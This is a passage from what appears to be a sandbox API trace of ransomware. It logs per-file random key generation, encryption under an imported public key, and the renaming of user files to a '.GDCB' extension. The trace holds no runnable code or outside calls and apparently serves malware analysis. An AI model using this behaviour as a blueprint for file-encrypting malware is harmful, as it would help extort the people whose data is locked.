| out: lpBuffer=0xdad0000*, lpNumberOfBytesRead=0x285e318*=0x8000, lpOverlapped=0x0) returned 1 [0301.478] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xdbe0000 [0301.485] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\microsoft.microsoftsolitairecollection_3.1.6103.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\microsoft.microsoftsolitairecollection_3.1.6103.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0301.580] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.586] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.586] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0301.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.591] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.591] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0301.593] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67adcf0) returned 1 [0301.594] CryptGetKeyParam (in: hKey=0x67adcf0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.594] CryptEncrypt (in: hKey=0x67adcf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.594] GetLastError () returned 0x0 [0301.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.594] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.596] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ada70) returned 1 [0301.596] CryptGetKeyParam (in: hKey=0x67ada70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.596] CryptEncrypt (in: hKey=0x67ada70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.596] GetLastError () returned 0x0 [0301.596] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.671] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0301.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.677] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.677] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.677] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0301.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.690] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.690] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.691] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0301.693] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad930) returned 1 [0301.693] CryptGetKeyParam (in: hKey=0x67ad930, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.693] CryptEncrypt (in: hKey=0x67ad930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdac0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdac0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.693] GetLastError () returned 0x0 [0301.693] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.693] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.695] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67adbf0) returned 1 [0301.695] CryptGetKeyParam (in: hKey=0x67adbf0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.695] CryptEncrypt (in: hKey=0x67adbf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdad0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdad0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.695] GetLastError () returned 0x0 [0301.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.695] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.738] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0301.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.744] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.744] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.744] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.750] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.750] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0301.752] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad8f0) returned 1 [0301.752] CryptGetKeyParam (in: hKey=0x67ad8f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.752] CryptEncrypt (in: hKey=0x67ad8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdae0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdae0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.752] GetLastError () returned 0x0 [0301.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.752] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0301.754] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad970) returned 1 [0301.754] CryptGetKeyParam (in: hKey=0x67ad970, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.754] CryptEncrypt (in: hKey=0x67ad970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdaf0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdaf0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.754] GetLastError () returned 0x0 [0301.754] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.755] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.768] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0301.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.775] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0301.775] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.775] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0301.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.782] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0301.782] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.782] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0301.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67adaf0) returned 1 [0301.785] CryptGetKeyParam (in: hKey=0x67adaf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0301.785] CryptEncrypt (in: hKey=0x67adaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb00000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xdb00000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0301.785] GetLastError () returned 0x0 [0301.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.785] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0301.788] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ae2b0) returned 1 [0301.788] CryptGetKeyParam (in: hKey=0x67ae2b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0301.788] CryptEncrypt (in: hKey=0x67ae2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb10000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xdb10000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0301.788] GetLastError () returned 0x0 [0301.788] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.788] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0301.789] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdb20000 [0301.793] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdb30000 [0301.796] ReadFile (in: hFile=0x3cc, lpBuffer=0xdb30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xdb30000*, lpNumberOfBytesRead=0x285de08*=0xc4f0, lpOverlapped=0x0) returned 1 [0301.804] VirtualAlloc (lpAddress=0x0, dwSize=0xc4f0, flAllocationType=0x3000, flProtect=0x4) returned 0xdc40000 [0301.812] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0301.843] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0301.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.849] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0301.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.849] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0301.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.854] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.854] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0301.854] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.854] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0301.856] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adab0) returned 1 [0301.857] CryptGetKeyParam (in: hKey=0x67adab0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0301.857] CryptEncrypt (in: hKey=0x67adab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb00000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdb00000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0301.857] GetLastError () returned 0x0 [0301.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.857] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0301.859] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae030) returned 1 [0301.859] CryptGetKeyParam (in: hKey=0x67ae030, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0301.859] CryptEncrypt (in: hKey=0x67ae030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb10000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdb10000*, pdwDataLen=0x285e560*=0x100) returned 1 [0301.859] GetLastError () returned 0x0 [0301.859] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.859] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.862] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0301.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.868] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.871] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.873] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.873] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.874] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0301.876] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae3f0) returned 1 [0301.876] CryptGetKeyParam (in: hKey=0x67ae3f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.876] CryptEncrypt (in: hKey=0x67ae3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb20000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdb20000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.876] GetLastError () returned 0x0 [0301.876] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.876] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0301.878] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae5b0) returned 1 [0301.878] CryptGetKeyParam (in: hKey=0x67ae5b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.878] CryptEncrypt (in: hKey=0x67ae5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdb30000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdb30000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.878] GetLastError () returned 0x0 [0301.878] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.878] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0301.882] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0301.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.889] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0301.889] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.889] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0301.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.895] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0301.895] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.895] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0301.898] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67add30) returned 1 [0301.898] CryptGetKeyParam (in: hKey=0x67add30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, 